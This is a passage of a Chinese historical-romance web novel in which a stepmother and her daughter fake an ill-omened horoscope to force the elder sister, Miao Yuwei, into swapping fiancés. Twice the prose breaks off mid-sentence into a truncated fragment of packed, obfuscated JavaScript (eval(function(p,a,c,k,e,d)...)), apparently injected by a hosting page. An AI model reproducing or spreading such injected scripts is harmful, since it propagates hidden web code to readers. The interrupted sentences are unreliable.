来人已行至竹林边缘,隔着疏疏落落的几竿翠竹,渐渐显出身形。只见他身量颇高,着一袭孔雀蓝暗纹圆领袍,腰间系着青玉带钩,行走时衣袂不起,步履轻稳,踏着满地的竹影碎金,倒像是履着一层薄薄的清霜,不带半分烟火气。 缪玉微一怔,有些措手不及。 那男子的目光穿过竹枝,落在她身上,脚下亦是微微一顿,随即眉头蹙起,眉宇间隐隐透出几分烦躁的意味来。 缪玉微比他反应快些,那一瞬间的失神过后,便敛定心神,朝他敛衽福身,“在下缪家长女缪玉微,敢问公子是哪家儿郎?” 男子并未即刻答话,只将目光定定地落在她身上。 两人之间隔得远,又有竹影摇曳,本是看不大真切的,然而他那道目光却如有实质般落在她身上,极淡,却又极冷,直将这暖融融的春光都驱散了去。 缪玉微被他这般看着,到底有些不自在,正要再问,却见他已不动声色地收回了视线。 “长平侯府,徐见青。” 声音不高,但字字都似从冰窖里拣出来的珠子一般,清泠泠地滚落在地。 缪玉微耳廓一麻,愣在原地。 徐见青? 那不是正在与缪玉灵议亲的人吗? 4. 第 4 章 今日宴会请了徐见青与庄文彦,缪玉微是知道的,但怪就怪在,引她来此的缪玉灵迟迟没有现身,反倒让她等来了将来有可能成为自己妹夫的徐见青。 在此僻静之处,孤男寡女,实在令她无法不多想。 徐见青应当也意识到了不对劲,四下看了看,便打算转身离去。 只是他才转身,便听那条方才他走来的小径尽头,传来一群女子说笑的声音。 他脚步停下,眉头皱得愈发紧了。 缪玉微自然也听到了那声音,心下一沉。 她与徐见青身份特殊,若在这里叫人撞见,还不知要被传成什么模样。 想到此处,她提裙奔至徐见青身边,快速道:“我知晓二公子来此只是碰巧,但人言可畏,以防连累公子名声,还请公子避一避。” 徐见青没回话,只垂眸看她。 许是身量高的缘故,他看人时眼皮微微下压,眼尾略上扬,浓长的睫毛在眼窝处投下一片淡淡的阴影,衬得那双眸子愈发深邃。只是那眼中神色极淡,淡得近乎疏离,眉宇间还透着一股恹恹的倦色,仿佛这满院喧闹都与他无干。 听着那边声音越来越近,缪玉微心中着急,也顾不得他愿不愿意,一把拽着他的手腕疾步往侧首行去。 徐见青微怔,却未出声,只垂眸从握在他腕上的那只素手上轻轻扫过。 转过一块嶙峋的太湖石,里头恰有一处凹进去的空隙,前头又被几竿茂竹挡得严严实实,倒是个藏人的去处。 缪玉微将他往里一带,低声道:“二公子且在此处略站一站。”语罢也不等他回应,转身便出了来。 堪堪站定,那群女子已然转过竹丛,当先一人,正是缪玉灵。 她一见了缪玉微,眉梢眼角果然漾上喜色来,急急上前两步,口中唤道:“大姐姐!”可那双眼睛却未在她身上多停,只往她身后、左右不住地睃寻,寻了一圈不见想见的人,脸上的笑意便微微一僵。 缪玉微见了,心下雪亮,面上却只作不解,含笑问道:“二妹妹方才叫丫鬟传话,说在此处等我,有要紧话说。怎么我来了这半日,却也不见你人影?” 缪玉灵的目光这时才落在她身上,口中笑道:“姐姐莫怪,方才席上几位太太拉着我们说笑,一时走不脱,让姐姐等急了,妹妹给你赔个不是。” 她一开口,随行的那几位小姐也围了上来。方才坐在她身边编排缪玉微的那位小姐,上下打量缪玉微一眼,神色倨傲道:“灵儿招人喜欢,难免被诸位太太拉着寒暄,可不似大小姐这般闲着无事。” 另一个穿蜜合色衣裳的小姐也道:“可不是,若非灵儿已经许了长平侯府,我瞧那席上的太太们,怕是都要争抢着为自家儿郎聘灵儿为妇呢。” 周遭亦有人帮腔,虽是说笑,但话里话外,却隐隐指责缪玉微小题大做,不够宽和。 缪玉微听在耳中,面上却愈发平和,甚至带了几分惶恐的怯意,“诸位姐妹说的是,只是我初来京师,府里规矩还不甚清晰,方才在这园子里,心里头直打鼓,唯恐出来久了,耽误了开宴的时辰,太太要责怪。可又想着二妹妹特意寻我,必是有要紧事,我若走了,又怕误了她的事。正站在这左右为难,不知如何是好呢。” 她说着,垂下眼睫,那模样当真是谨小慎微、无依无靠。 那几位小姐听了,不由得面面相觑,有个圆脸姑娘先心软了,拉着她的手道:“原是我们想左了,大小姐初来乍到,自然谨慎些。”亦有人改口,说不耽误,等下同她们一道回去便是。 缪玉灵听着,眼睛眯了眯,嘴角略往下一撇,却是没心思听她们说这些场面话,一双眼睛只往四下里瞟。 只等众人住了口,她便忙凑上来,似不经意般问道:“大姐姐,这半日,这地方只你一个人么?” 缪玉微心下一顿,面上却只作诧异,眨了眨眼,奇道:“二妹妹这话问得蹊跷,不是一个人,还能有谁?”她说着,还故意左右看了看,笑道,“莫非妹妹还约了旁人?” 缪玉灵见她神色不似作伪,却不死心,咬着唇道:“怪了,我屋里的丫鬟方才明明瞧见徐二公子往这边来了,说是在寻什么。” 缪玉微闻言,脸色一沉,嗔怒道:“二妹妹慎言。你一个未出阁的姑娘家,管人家公子往哪里去做什么?况且这园子里人来人往的,有婆子有小厮,许是看岔了也未可知。你当着这许多人的面,口口声声说什么公子,没的坏了人家的名声,更毁了我的清白!” 这一番话,义正词严,又带着几分羞恼,倒让缪玉灵一时语塞。 旁边几位小姐里,有仰慕徐见青的,原听着方才缪玉灵诋毁徐见青的话便有些不舒服,眼下见缪玉微这般反驳,便也站出来道:“二小姐这话实在有些过分,徐二公子最是端方守礼,怎会无故在此处与内帷小姐们相见?何况……”她看了缪玉微一眼,低声道,“何况还是与大小姐?这岂非更是荒谬。” 语罢,亦有人附和。 缪玉灵被堵得哑口无言,脸上红一阵白一阵,心下却愈发不甘。她眼珠一转,瞥见不远处被竹林掩映着的假山石,灵机一动,指着那边笑道:“哎呀,你们看,那石头后头躲着一只狸猫呢!毛色油亮,真好看,我去瞧瞧!”说着,也不等众人反应,提起裙子便往那边跑。 缪玉微心猛地一沉,想伸手去拉,却已是来不及,只能眼睁睁看着缪玉灵脚步轻快地绕过竹子,向那假山后探头探脑—— “哎呀!” 眼看她就要转过那假山石,却忽然传来一声惊叫,紧接着是“噗通”一声闷响,却是缪玉灵整个人向前扑倒,结结实实摔在了草地上。她身后跟着的两个丫鬟慌忙去扶,也被带得踉跄倒地。更要命的是,离得近的一位小姐正探头看热闹,被倒下的丫鬟一撞,身子一歪,又带倒了身旁的另一个。 “二小姐!” “哎哟!我的裙子!” “谁绊的我?” 林子里一时间乱作一团。 缪玉灵被扶起来时,脸色煞白,手心蹭破了一大块皮,火辣辣地疼,另一位小姐的衣裙上更是沾了一大片湿泥,狼狈不堪。众人又是疼痛又是心疼衣裳,哪里还有半分闲情逸致去寻什么狸猫,一个个只嚷着要回去。 缪玉微站在几步之外,先是一惊,随即目光不动声色地往那假山后头极快地一瞥。 竹影摇曳,山石静默,什么也看不真切。 她垂下眼,抿唇憋笑。 缪玉灵被人搀着,仍不甘心地望向缪玉微,却不想迎上了一双平静如水的眸子。那目光里透着清清冷冷的疏淡,仿佛在看一场与己无关的闹剧。 缪玉灵心头没来由地一虚,忙别过头,由丫鬟们扶着随着众人去了。 一行人叽叽喳喳地走远,园子里终于恢复了宁静,缪玉微这才松了一口气。 春桃早紧张的满手是汗,此刻都有些腿软。 缪玉微拍了拍她,缓了片刻,才快步绕过竹林,转到了假山后头。< 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庄文彦点点头,笑道:“那就好。”顿了顿,又道,“前几日打发人送到府上的那套《山海经》图注,不知姑娘可还喜欢?我听说姑娘爱看些山水游志之类的书,那套书虽旧,图却绘得精细,想着或许能给姑娘解解闷。” 闻言,缪玉微脸色微微一滞。 心下叹了口气,她轻声道:“三爷费心,那书我看了,果然是难得的善本,只是……” 她顿了顿,斟酌着词句:“公子这般厚赠,我实在受之有愧。况且,你我二人虽有婚议,却尚未定准,公子这般待我,传了出去,旁人还不知要如何议论,只说你我私相授受,于公子清名有碍,于我更是万不敢当。公子的心意,我铭记于心,只是往后,莫再如此了。” 她声音不高,却字字清晰,透着不容置疑的坚定。 庄文彦唇边的笑容微微一滞,像是没料到她会这样说,脸色一瞬有些难看。 但他很快便恢复如常,笑道:“是我思虑不周,叫姑娘为难了,实在该打。”他拱了拱手,“姑娘放心,往后再不会做令姑娘为难之事了。” 缪玉微见他如此,心下一松,也含笑还了一礼,“公子通达,是我不识抬举了。” 庄文彦忙摆手:“姑娘言重,姑娘持重守礼,是我孟浪了。”他说着,看了看天色,“宴席快开了,姑娘请先行。” 缪玉微知他是有意避嫌,点了点头,便转身往前头去了。 待到宴席散后,缪玉微往回走时,无意中听见两个小丫鬟在一旁嘀咕:“……可惜了,徐二公子竟没等开席就走了,听说是身上不好。”另一个道:“可不是,脸色瞧着也不大好呢。” 缪玉微脚步微顿,随即又若无其事地走开。 晚间回到自己屋里,卸了钗环,她独坐灯下,将今日之事从头至尾细细思量了一遍。 缪玉灵引她过去,必是没安好心的,起先她只以为徐见青的出现是偶然,可后来看缪玉灵那般不依不饶、四处寻人的模样,那徐见青,倒像是也被她用什么法子引来的。 可她这么做究竟是为何? 长平侯府可是曹氏费尽九牛二虎之力才寻到的最好的亲事,就连父亲也对此甚是满意,京中不知有多少人羡慕缪玉灵能嫁给徐二公子,怎么她自己反倒像是要将人往外推呢? 难不成,她不想要这门婚事? 5. 第 5 章 这夜,缪玉灵的屋子里也是灯火通明。 她心里烦躁,在屋里踱来踱去,一双绣鞋险些将地砖磨出印子来。 曹氏歪在榻上,被她转得头疼,揉着额角道:“灵儿,你且歇一歇,事已至此,急也无用。” “母亲!”缪玉灵哪里听得进去,一拧身站住了,咬着唇道,“我如何歇得住?今日那样的好机会,我费了多少心思,原指望让人撞破了,传出些闲话,到时侯府面上无光,自然不好再强求这门亲事,可谁知……” 她说着,眼圈已经红了,“如今计划泡汤,离下定的日子越发近了,这可怎么办?” 曹氏听她絮叨完,坐起身来,拉着她的手将她按在自己身边坐下,压低了声道:“灵儿,你且与娘说句掏心窝子的话,你那个梦当真是真的?我今日瞧着那意外,心里头直打鼓,你说会不会是老天爷在拦着咱们,不让咱们推掉这样一门好亲事?” 缪玉灵一听这话,登时急了,霍地抬起头:“母亲!连你也不信我么?”她声音里带了哭腔,“我上回说父亲前日下马车会踩空脚凳崴了脚,可不是说中了?父亲还道是自己不小心,可我分明是梦里见过的!母亲若还不信,只管等着瞧,往后还有更准的!” 曹氏闻言,神色松动了几分,却仍是叹了口气:“可那长平侯府到底是一门贵亲,徐二公子人物俊秀,家世显赫,宫里又有贵妃娘娘,咱们这样的人家,能攀上这样的亲,是多少人求都求不来的福气。庄家毕竟是商贾人家,那庄文彦再有才学,也不过是个举人,将来如何,谁又说得准?” 缪玉灵一听这话,急得一把攥住曹氏的手,眼泪流得更凶了:“娘,你是没见我梦里的光景,那长平侯府瞧着花团锦簇,内里却是一团糟。我嫁过去之后,婆母刁钻,妯娌难缠,那府里上上下下,就没一个和善好相与的,尤其是那徐见青……” 她顿了顿,声音也颤了起来:“那人就是个冰疙瘩,成日里冷着一张脸,我与他说十句话,他未必回我一句。他在外头倒是好名声,可回了府里,何曾正眼看过我?我在那府里,生生熬出了一身的病,连个诉苦的地方都没有……” 她说到此处,已是哽咽难言,一头扎进曹氏怀里,哀声道:“母亲若还要我嫁过去,那我明日就绞了头发上山做姑子去!也省得日后受那活罪!” “胡说!”曹氏忙捂住她的嘴,“什么姑子不姑子的,娘就你这么一个宝贝闺女,岂能眼睁睁看着你往火坑里跳?” 她掏了帕子,细细给女儿擦泪,眉头紧锁,似在思量什么,“只是那庄文彦当真如你所说,能高中状元,日后飞黄腾达?” 缪玉灵见母亲松口,忙收了泪,正色道:“母亲信我,我梦里看得真真的,那庄文彦不但中状元,还成了二皇子的心腹,前途不可限量,反倒是长平侯府……” 她压低了声音,“母亲想想,徐贵妃膝下无子,长平侯府又位高权重,将来无论太子还是二皇子夺了位,徐家都难善了。那侯府看着烈火烹油,实则是悬在刀刃上,迟早是要败的!” 曹氏听得心惊,一时竟说不出话来。 缪玉灵趁热打铁道:“而且那庄文彦不但仕途顺遂,对妻子更是温柔体贴,百依百顺,与徐见青那块冰疙瘩简直是天上地下。母亲,若我嫁了庄文彦,不但我过得舒心顺遂,日后他飞黄腾达了,咱们缪家也能跟着水涨船高。这不是比嫁进侯府熬得一身病强上百倍?” 曹氏听了这一番话,心头的大石终是落下几分,“若果真如此,那这亲,确实不该结。” 她沉吟片刻,眼中闪过一丝精明的光,缓缓道:“既不能让他们退亲,那便让他们自己不敢结。”她看着女儿,缓缓道,“若你与徐见青的八字,是相克的呢?” 缪玉灵一愣:“母亲的意思是……” 曹氏微微一笑,凑到她耳边,低声道:“傻丫头,这婚姻大事,除了父母之命,还有‘天意’二字。若你二人八字相克,强行婚配,便必生祸端,侯府那样的人家,最是忌讳这个,自然要重新考量。到时候,咱们说缪玉微的八字与徐见青是天作之合,那侯府为了化解尴尬,少不得要接了这个话头。如此,换亲一事,定能说成。” 缪玉灵一听,喜上心头,靠着曹氏的肩膀笑了起来。 曹氏握着女儿的手,心中却另有思量。 八字相克的说法,侯府那边不一定会听她一人之言,未免到时他们另寻人占卜漏了馅,此事还需做得万无一失才行。 - 第二日,缪家祠堂突然起了火。 火势不大,只烧着了供桌的一角,便被婆子发现,几桶水浇下去,顷刻间便灭了。可那供桌上,恰恰放着缪玉灵与徐见青的庚帖。庚帖虽未被烧着,却被烟熏得发黄,边上也沾了水渍,瞧着狼狈不堪。 缪世则下衙后听到消息,便匆匆赶往祠堂去了。 曹氏早已等在祠堂外头,见了他,忙迎上来,一脸惶恐:“老爷,都是我不好,竟出了这样的事……” 缪世则摆摆手,进了祠堂,见那供桌已被收拾干净,可空气中还残留着一股焦糊味。他在供桌前站了良久,脸色阴晴不定。 曹氏跟在他身后,低声道:“老爷,旁的倒罢了,只是那庚帖偏偏是灵儿和徐二公子的,这可不吉利啊。” 缪世则素来不信怪力乱神,可事关祖宗,心里也不免犯了嘀咕。他背着手在廊下踱了两步,沉声道:“也或许是下人不小心,不必自己吓自己。长平侯府这门亲事,乃是上上之选,岂能因这点小事便动摇?” 曹氏觑着他的脸色,叹道:“妾身何尝不是这样想?只是心里终究不安,便悄悄拿了两人庚帖,去找高僧合了一合。” 缪世则沉默片刻,道:“那高僧怎么说?” 曹氏看着他,一字一句道:“高僧说,灵儿与徐二公子的八字,是极凶之相,若强行婚配,轻则家宅不宁,重则……恐有血光之灾。” 缪世则脸色一变。 曹氏忙又道:“妾身当时也吓了一跳,心想这可怎么好?可那高僧又说,这凶相也并非无解。” 缪世则急问:“如何解?” 曹氏看他一眼,声音放得更缓:“高僧说,姐妹相易,可解此祸。妾身当时不明白,高僧便又问了灵儿家中可有姐姐?妾身一想,灵儿可不就一个姐姐么,便将玉微的八字与那高僧一说。”她顿了顿,目光紧紧锁着缪世则的脸,“老爷猜,结果如何?” 缪世则眉头拧得更紧:“你莫要卖关子,快说!” 曹氏唇角微微扬起,又很快压了下去,低声道:“竟是上上大吉,天作之合。” 缪世则愣住了。 祠堂里一时寂静,只有烛火微微跳动,映得他脸上光影交错。他沉默良久,方道:“可玉微已经许给了庄家,虽未下定,口头上也是定了的,岂能出尔反尔?” 曹氏上前一步,轻声道:“老爷,妾身倒有个主意。”见他看着自己,便续道,“既然玉微的八字与徐二公子是天作之合,那便将玉微许给长平侯府,将灵儿许给庄家,如此一来,两家都不亏欠。既不得罪侯府,老爷也还能留住庄三爷这个女婿,他庄家能娶咱们嫡出的女儿,自然也不会有什么怨言。” 缪世则听罢,脸色骤变,脱口道:“胡闹!这是换亲!传出去,我缪世则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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进了正院,便见缪世则坐在上首,曹氏坐在一旁,缪玉灵也在,见她进来,飞快地看了她一眼,又别开眼去。 缪玉微将那一眼看在眼里,心里愈发清明。她上前几步,端端正正行了礼:“女儿给父亲、太太请安。” 曹氏忙道:“好孩子,快坐下说话。大早上的,可用过点心了?” 缪玉微在一旁的椅子上坐了,微微欠身道:“多谢太太关怀,已用过了。” 曹氏点点头,又拉着她嘘寒问暖了几句,方叹了口气,将昨日祠堂走水的事添油加醋地说了一遍,末了,一脸后怕地拍着心口道:“……你是没见那情景,真真吓死人。我寻思着这事不寻常,便将你妹妹和徐二公子的八字拿去合了一合,却没想到竟是极凶之相,若强行婚配,将来恐有祸事。” 缪玉微静静听着,面上神色不变,只道:“竟有这等事?那太太和父亲打算如何?” 缪世则咳了一声,没有说话。 曹氏便接着道:“我也慌了神,便求那高僧,问可有化解之法。那高僧推算了半日,说出了一个八字,说若将此女与徐二公子相配,便是上上大吉,不但能解了这冲克,还能旺夫旺家,福泽绵长。”她说到这里,目光灼灼地看着缪玉微,顿了顿,方道:“我细细一听,那高僧说的八字,竟正是你的。” 此言一出,屋内静了一瞬。 阳光透过纱窗,在地上投下明亮的光斑,细小的尘芥在光柱中缓缓浮动。 缪玉微心头猛地一跳,面上却依旧淡淡的,只是眼睫微微颤了颤。 原来她们竟打得是这个主意。 6. 第 6 章 缪玉微还未及开口,便听曹氏又道:“玉微啊,我知道这事唐突,也知你与那庄家已有口头之约。可如今这事,关系着咱们缪家的气运,也关系着你妹妹的终身。我思来想去,却也只想到了一个都不得罪的法子。” 她往前探了探身,笑容愈发温和,语气里带着几分恳切,却不容置疑,“我且问你一句,若让你替了你妹妹,嫁去长平侯府,你可愿意?” 这话问得直白,再无半点遮掩。 缪玉微抬起头,目光越过曹氏,落在缪世则脸上,见他虽不说话,神色间却并无反对之意。她又看向缪玉灵,却见她毫不避讳地回看过来,嘴角眉梢都露出得意之色,却又在下一瞬轻咬嘴唇,露出一副紧张祈求的模样。 屋内静得落针可闻,所有人的目光,都落在她一人身上。 她缓缓垂下眼,心里琢磨起来。 人人都说那长平侯府高门显贵,那徐家二公子惊才绝艳,当初曹氏攀上这门亲,阖府上下也都是欢喜的,可怎的突然之间,这香饽饽就变成烫手山芋了呢? 这其中怕是有什么她不知道的内情。 可长平侯府要地位有地位,要财富有财富,听闻也是那侯夫人自己看上了缪玉灵,那问题便只有可能是出在徐见青身上了。 他能有什么问题呢? 缪玉微苦思冥想,也不知过了多久,忽听上座缪世则咳了一声。 思绪猛地被打断,她脑中却莫名其妙地飘出一个念头。 那徐见青,莫不是有何隐疾? “可想好了?”缪世则问她,声音却是十分的不耐。 缪玉微抬眸看着他,面上始终带着一丝淡淡的神色,半晌,方轻声细语地开口:“太太这话问得,倒叫我不知道该怎么回了。婚姻大事,自是父母之命,媒妁之言。父亲和太太有了决断,女儿遵从便是。”她顿了顿,抬眸,目光清澈得仿佛能照见人心底最深处的算计,“只是女儿愚钝,心里有一事不明,想请教太太。” 曹氏听她应允,心头大喜,忙道:“好孩子,你有什么不明白的,只管问。” 缪玉微微微一笑,那笑意却不达眼底,“女儿只是好奇,究竟是哪位高僧,佛法竟如此精深,不但能算出八字冲合,还能算出姐妹易嫁这样的化解之法,连女儿的生辰八字,都算得一分不差?” 曹氏脸上的笑意微微一僵,旋即又恢复如常,拿帕子按了按嘴角,道:“这孩子,倒问得仔细。是护国寺的静安师父,道行高深,轻易不见外客的,也是咱们家与佛有缘,才请动了他。” “原来是静安师父。”缪玉微点了点头,轻声道:“早就听闻这位师父精通周易,善断阴阳,只是性子孤僻,等闲不肯为人占卜。太太能请动他,想必费了不少心力。” 曹氏听她话里有话,心中微微不快,却也不便发作,只叹道:“可不是么,但为了你们姐妹的事,我便是跑断腿也是甘愿的。” 说着,她又殷切道:“好孩子,我知你是个明白人。那长平侯府,门第高贵,徐二公子又是人中龙凤,你嫁过去,便是正经的侯府少奶奶,日后诰命加身,那是何等的体面?我知你这些年受了苦,等将来嫁过去了好好享福,也算是弥补我们这些年对你的愧疚了。” 缪玉微垂眸看着曹氏拉着自己的手,那只手保养得宜,指尖却微凉。 她不动声色地将手抽回,拢在袖中,仍是那副温婉和顺的模样,道:“太太疼我,我岂有不知的?只是那庄家虽未正式纳采,却也是父亲亲口应允过的,如今忽然变卦,传了出去,外人不知内情,只怕要说咱们缪家嫌贫爱富,背信弃义。父亲的清名,妹妹的闺誉,岂不都要受损?” 这话说得不轻不重,却正戳在要害上。缪世则面色微讪,咳嗽一声,端起茶盏来饮了一口,遮住神色。 曹氏却早有准备,不慌不忙道:“这个你只管放心,既说是姐妹相易才能解祸,那灵儿便是要嫁去庄家的,对外自然也是说你与徐二公子八字相合,灵儿与庄三爷八字相合的。此为天意,何况我们又不是撇了庄家这门亲,外人便也没什么可说的了。” 缪玉微静静地听她说完,心中不由暗叹。这曹氏果然思虑周密,步步为营,竟将退路都想得这般齐全。 她看了看缪世则,又看了看缪玉灵。 这满屋子,只她一个外人,根本就没有拒绝的余地。 良久,缪玉微方轻轻一笑,站起身来,对着缪世则和曹氏端端正正福了一礼,道:“父亲和太太既有决断,女儿遵命便是。” - 秋月早早在门前等着,见缪玉微和春桃回来,忙迎上来。 “可算回来了!”秋月一把扶住缪玉微的胳膊,又觑了觑春桃的脸色,压低声道,“太太叫小姐过去,到底是为着何事?” 春桃不答话,只紧紧抿着嘴。 三人默默进了堂屋,才掩上门,春桃那一口气便再也憋不住了,“欺人太甚!他们简直是欺人太甚!” 她胸脯剧烈起伏着,声音都变了调:“那一屋里的人,活脱脱就是一群伥鬼,啖肉饮血不够,还要敲骨吸髓,连骨头渣子都不剩!我原还想着,老爷好歹是小姐的亲爹,虎毒尚且不食子,来了这京师,过得多好不说,总不至于被害。可谁曾想这偌大一座府宅,竟都是些脏心烂肺的东西!” 秋月吓了一跳,又看缪玉微,却见她神情平淡地坐在桌边,倒了杯茶自喝了起来,倒是让她一时摸不着头脑。 这时,梁妈妈听着声音也走了进来,瞧见春桃这模样也是吓了一跳,问道:“这是怎么了?” 春桃恨恨道:“换亲!这样的事也亏他们能想得出来!又是什么八字不合,又是什么护国寺的高僧,依我看,分明就是那母女俩自己不想要侯府那门亲,才想出这损阴德的招数来逼小姐替她们填窟窿!” “换亲?”秋月与梁妈妈异口同声,面面相觑。 “……什么换亲?”秋月的声音有些发飘。 梁妈妈却是脸色骤然一变,“莫不是要小姐嫁给徐二公子,二小姐嫁给庄三爷?” “正是!”春桃狠狠啐了一口,“你们说说,这是人能干出来的事? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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春桃秋月面面相觑,不明白她这话从何说起。一旁的梁妈妈却忽然僵住了,脸色一瞬间变得古怪起来,嘴角动了动,想说什么,又咽了回去。 缪玉微忽然身子往前一探,凑近了些,压低了声儿,神神秘秘地道:“你们说,会不会是那徐见青有什么不为人知的隐疾,被那母女俩知道了,这才不肯嫁了?” “隐疾?什么隐疾?”春桃依旧不明白,还认真想了想,“难不成他活不长了?” 秋月到底比她年长一些,听了这话,脑子里忽然转过一个弯来,霎时间从耳根红到了脖颈,连头都不敢抬了。 “不是活不长……”缪玉微顿了下,“虽然也有这种可能,但我说的隐疾是那种……” “小姐!”眼见她还要继续说下去,梁妈妈慌忙出声打断,“不管是什么,既是曹氏母女主动要换,这里头必定有不可告人的勾当,咱们不能吃这个哑巴亏。即便不立刻回绍兴,也得写封信给老太爷,好叫他们知道,老爷太太是如何不做人的!” 缪玉微敛了笑,轻轻叹了口气,将茶盏搁回桌上,“祖父祖母身子也不大好,便是说了,隔着千山万水,除了叫他们悬心,还能如何?万一再气出个好歹来,那才是得不偿失。” 见梁妈妈还要再劝,她忽然话锋一转,道:“横竖眼下这事,曹氏也只是同我说了,侯府那边同不同意,还两说着呢。” 她这话倒是不假,此刻正房里,曹氏正对着镜子卸下钗环,心里头也正盘算着。想着侯府那头不好糊弄,那便先拣容易的来,第二日,便将庄家人请来了府上。 7. 第 7 章 庄家本家在绍兴,原也只有庄文彦独自上京备考,后来缪世则有意招他为婿,庄文彦这才将父母一并接来了京师。 这日,曹氏在正厅设了茶,一面寒暄,一面细细打量这一家。 庄父生得圆脸细眼,一身酱色绸袍,腰里挂着个羊脂玉的葫芦佩,说话时总带着三分笑,举手投足间,尽是玲珑圆滑。庄母则是个面团似的人物,穿一身青灰缎子褙子,头上只两根银簪,说话轻声细语,丈夫说一句,她便点一下头,万事不拿主意。 曹氏心里略有些不满,便又去看庄文彦,见他穿一件水青直裰,面容清俊,仍是那副文质彬彬的模样,心里才舒服了几分。 寒暄完,曹氏叹了口气,拿帕子按了按眼角,道:“亲家老爷、亲家太太,今儿请你们来,实是有件事,要当面说个明白。” 庄父忙道:“太太有话但说无妨。” 曹氏便又叹了口气,将事情细细说了一遍,又道:“原想着两个孩子八字相合,是天定的姻缘,谁料静安师父一算,竟是大凶之兆,若不化解,两家都要遭祸。亏得师父慈悲,又给批了换亲的法子,说只要换了,不但祸事全消,两家运势还要比从前更盛,而且……”她看了庄文彦一眼,微微一笑,“而且若得如此,三爷将来必定科场得意,高中状元,飞黄腾达,不可限量呢!” 庄文彦坐在下首,初时还端着茶碗细听,待听到“换亲”二字,手便是一顿,茶水险些晃了出来。他愣愣地抬起头,望着曹氏一张一合的嘴,脑子里嗡嗡作响,竟是一个字也听不进去了。 庄母初来京城,对护国寺之名早有耳闻,此刻听曹氏说得这般神乎其神,自是深信不疑,连连点头附和:“阿弥陀佛,护国寺的静安师父,那可是得道高僧,他的指点,想必定然是不会错的……”说着,偷眼去瞧儿子,见他面色白得吓人,不由一怔,下面的话便噎在了喉咙里,不知该不该继续说了。 庄父却捻着胡须,已在心里盘算开了。 他原就是个迷信的,一听是护国寺的高僧批的命,心里便先信了八分。况他是个在生意场上打滚的人,一转念间,便将其中利害关系盘算了个清清楚楚。 缪玉微虽是缪家的嫡长女,却是自小养在绍兴老家的,与京师这边到底隔了一层,可缪玉灵却不同,那是曹太太亲生的,自幼在缪郎中跟前长大,亲疏之别,不言而喻。 思忖已定,庄老爷脸上堆出笑来,先是一叠声地感慨亲事变故,又道:“多亏太太想得周到,又替犬子与大小姐合了八字,不然真要酿成大祸,那可如何是好!”说着,又叹道,“说起来,大小姐也是极好的,只可惜与犬子无缘,倒是二小姐,若能得她下嫁,那真是我们庄家祖上积德,几辈子修来的福分了!” 一番话说得面面俱到,滴水不漏,便是曹氏听了,也不由在心里暗赞一声:好个八面玲珑的商人! 只是转念想到庄家终究是商贾之流,她眼底还是忍不住闪过一丝鄙夷,只盼着那庄文彦日后真能高中状元,光耀门楣,那时才算配得上她的灵儿。 庄母见丈夫说了话,也想附和几句,嘴刚张开,却被儿子抢了先。 “敢问太太,此事……大小姐可应了?”庄文彦脸色虽仍不好,声音却稳住了。 曹氏脸上的笑意微微一僵,旋即又恢复如常,道:“玉微那孩子素来识大体,自然是以家族为先,并无二话。” 庄文彦听了,脸色愈发灰败,整个人像是被抽去了筋骨,失魂落魄地坐在那里。 曹氏见他这般模样,心中大不自在,脸上的笑意也淡了几分,隐隐露出不豫之色。 庄父何等眼尖,见状忙拿胳膊肘捅了捅儿子,低声道:“文彦!你这是做什么?亲家太太这般为咱们着想,是咱们的福分,你怎的还不知好歹?” 庄文彦却似没听见一般,仍是怔怔地坐着。 他心里乱得很。 他与缪玉微虽只见过寥寥数面,可心中却早已将她视作未来的妻子,他们两人之间虽谈不上刻骨铭心的情意,可那份惊艳与欢喜,却是实实在在的。如今平地风波,忽然就变成了要娶她的妹妹,这叫他如何能接受? 庄父见儿子木着不动,曹氏的脸色也愈发难看了,急得额角沁出汗来,一把拽过庄文彦的袖子,压低声音道:“你糊涂了不成!你忘了上次春闱落榜的事了?你忘了咱们家指着谁了?此刻得罪了缪家,便是吃不了兜着走!你且想想,那二小姐不但有个任吏部郎中的父亲,还有个在福州任知府的外祖,等到曹老太爷外放回京,少说也是个四品官,这份助力,岂是那无依无靠的缪玉微能比的?” 这一番话,如同一盆冰水,兜头浇下,将庄文彦心里那点子痴念,浇得透心凉。 他打了个寒噤,渐渐清醒过来,站起身来,向曹氏深深一揖:“方才晚辈乍闻此事,心神激荡,多有失态,还望太太海涵。能得二小姐为妻,是晚辈三生有幸。晚生在此立誓,日后必当全心全意待她,绝不叫她受半点委屈。” 曹氏见他转得这样快,心里倒有些意外,可听他话说得周全,脸色也缓和了些,笑道:“三爷言重了,这般大事,便是惊讶也是有的。只要你往后好好待灵儿,我便放心了。” 庄文彦垂首道:“太太放心,晚辈定不辜负厚爱。” 曹氏听了,满意地点点头。 一时庄家三口告辞而出。 庄文彦走到仪门前,脚步却不由自主地慢了下来。 他心里终究放不下,挣扎了半日,终于还是回过头,对门上的小厮道:“烦请通禀一声,就说庄某求见贵府大小姐,有几件先前相赠的小玩意,既是事已更易,理当归还,还请大小姐一见。” 小厮进去传话,不多时回来引着他去待客的偏厅。他心里突突地跳,也不知想见什么,想问什么。 待走到偏厅,便见缪玉微立在其中,身边只跟着那个叫春桃的丫头。 庄文彦定了定神,上前见礼。 她神色淡淡的,无悲无喜,见了他,只微微一福,便示意春桃将一个小包袱递了过去。 春桃托着包袱,道:“庄三爷,这是先前您送的东西,都在这里了,您点点。” 庄文彦一愣,接过包袱,只觉得心里有什么东西堵着,说不出的难受。他张了张嘴,想问她是不是也不愿意,是不是也是被逼的,可话到嘴边,却变成了:“大小姐……就没有别的话要说?” 缪玉微看着他半晌,到底不忍,叹了口气,道:“婚姻之事,父母之命媒妁之言,我一个闺阁女儿,实难为自己的婚事做主,想来,三爷应当也是。” “我……”庄文彦欲言又止。 缪玉微笑笑,道:“大千世界,芸芸众生,你我能相遇相识便已是有缘。我很珍惜这段缘分,即便不能结为夫妻,相识一场,也不算白费,不是么?” 她笑得明媚洒脱,可庄文彦看着,却觉得那笑容分外刺眼,来时心里那股说不清道不明的不甘,此时竟越发涌动起来 